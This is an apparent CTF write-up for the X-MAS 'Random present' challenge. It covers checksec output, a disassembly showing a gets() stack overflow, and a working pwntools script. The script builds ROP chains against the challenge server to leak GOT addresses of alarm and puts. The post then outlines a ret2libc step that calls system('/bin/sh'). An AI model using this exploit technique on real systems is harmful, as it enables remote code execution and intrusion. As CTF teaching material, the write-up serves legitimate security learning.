x-mas CTF – Random present.
A lot of times CTF challenges provide the libc.so file that is installed on the server.
During the x-mas CTF I found out that that is not always the case.
Lets first have a look at the binary
I use pwn tools to check what type of security is used on the binary.
$ pwn checksec chall
[*] '/home/m42d/Desktop/CTFs/xmass/random present/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
And hopper do disassemble
main: 0000000000400676 55 push rbp ; Begin of unwind block (FDE at 0x4008a4), DATA XREF=_start+29 0000000000400677 4889E5 mov rbp, rsp 000000000040067a 4883EC20 sub rsp, 0x20 000000000040067e BF3C000000 mov edi, 0x3c ; argument "__seconds" for method j_alarm 0000000000400683 B800000000 mov eax, 0x0 0000000000400688 E8D3FEFFFF call j_alarm ; alarm 000000000040068d 488B05AC092000 mov rax, qword [__TMC_END__] ; __TMC_END__ 0000000000400694 B900000000 mov ecx, 0x0 ; argument "__n" for method j_setvbuf 0000000000400699 BA02000000 mov edx, 0x2 ; argument "__modes" for method j_setvbuf 000000000040069e BE00000000 mov esi, 0x0 ; argument "__buf" for method j_setvbuf 00000000004006a3 4889C7 mov rdi, rax ; argument "__stream" for method j_setvbuf 00000000004006a6 E8D5FEFFFF call j_setvbuf ; setvbuf 00000000004006ab 488B059E092000 mov rax, qword [stdin@@GLIBC_2.2.5] ; stdin@@GLIBC_2.2.5 00000000004006b2 B900000000 mov ecx, 0x0 ; argument "__n" for method j_setvbuf 00000000004006b7 BA02000000 mov edx, 0x2 ; argument "__modes" for method j_setvbuf 00000000004006bc BE00000000 mov esi, 0x0 ; argument "__buf" for method j_setvbuf 00000000004006c1 4889C7 mov rdi, rax ; argument "__stream" for method j_setvbuf 00000000004006c4 E8B7FEFFFF call j_setvbuf ; setvbuf 00000000004006c9 488B0590092000 mov rax, qword [stderr@@GLIBC_2.2.5] ; stderr@@GLIBC_2.2.5 00000000004006d0 B900000000 mov ecx, 0x0 ; argument "__n" for method j_setvbuf 00000000004006d5 BA02000000 mov edx, 0x2 ; argument "__modes" for method j_setvbuf 00000000004006da BE00000000 mov esi, 0x0 ; argument "__buf" for method j_setvbuf 00000000004006df 4889C7 mov rdi, rax ; argument "__stream" for method j_setvbuf 00000000004006e2 E899FEFFFF call j_setvbuf ; setvbuf 00000000004006e7 BFA0074000 mov edi, aThisIsEasierTh ; argument "__s" for method j_puts, "This is easier than you would think..." 00000000004006ec E85FFEFFFF call j_puts ; puts 00000000004006f1 BFC7074000 mov edi, aSantaAllowedYo ; argument "__s" for method j_puts, "Santa allowed you to ROP me!" 00000000004006f6 E855FEFFFF call j_puts ; puts 00000000004006fb 488D45E0 lea rax, qword [rbp+var_20] 00000000004006ff 4889C7 mov rdi, rax ; argument "__str" for method j_gets 0000000000400702 B800000000 mov eax, 0x0 0000000000400707 E864FEFFFF call j_gets ; gets 000000000040070c B800000000 mov eax, 0x0 0000000000400711 C9 leave
I first spend a lot of time trying to look for a solution were I din’t need a copy of the servers libc.so but with NX enabled and system not linked as external symbol. I realized that there was no way to do this.
Finding the version of libc.so
I need to figure out wat version of libc.so was loaded. I though I need to download a whole bunch of them and check were what the offsets of functions were compared to others and maybe I can figure out what version was running.
My idea seemed a little far fetched, but this was the only thing left I could think of.
While searching for a database or collection of libc.so files.I found that my idea wasn’t that far fetched at all. As I stumbled upon a git hub repository to build a libc.so offset database and a online searchable offset database at libc.blukat.me
leaking the offsets.
I made a small python script, that builds 2 ROP chains and leaks the memory addresses from the Global Offset Table.
from pwn import *
io = remote("199.247.6.180",10005)
start= 0x400590
GOT_puts =0x601018
GOT_alarm =0x601020
sym_puts = 0x00400550
pop_rdi = 0x0040077b # pop rdi; ret
r = io.recv() # flush the buffer
first rop chain to leak libc.so alarm offset and retun to beginning
p = 'A'*40+p64(pop_rdi)+p64(GOT_alarm)+p64(sym_puts)+p64(start)
io.sendline(p)
r = io.recv()
print 'alarm offset : '+hex(u64(r[0:r.find('\x0a',0,8)].ljust(8,'\x00'))) #
second rop chain to leak libc.so puts offset and choke on some bytes.
p = 'A'*40+p64(pop_rdi)+p64(GOT_puts)+p64(sym_puts)+"choke on it"
io.sendline(p)
r = io.recv()
print 'puts offset : '+hex(u64(r[0:r.find('\x0a',0,8)].ljust(8,'\x00'))) #
$ python leak.py
alarm offset : 0xa7efd18f45b10
puts offset : 0xa7efd18ef4c70
Now we can look up what version of libc is running on the server and find the offsets for ‘system’ and the ‘/bin/sh’ sting.
All that remains now it to write a script to build a rop chain to leak 1 address of the GOT. Calculate the base address of libc.so and send another rop chain to call system with /bin/sh as argument.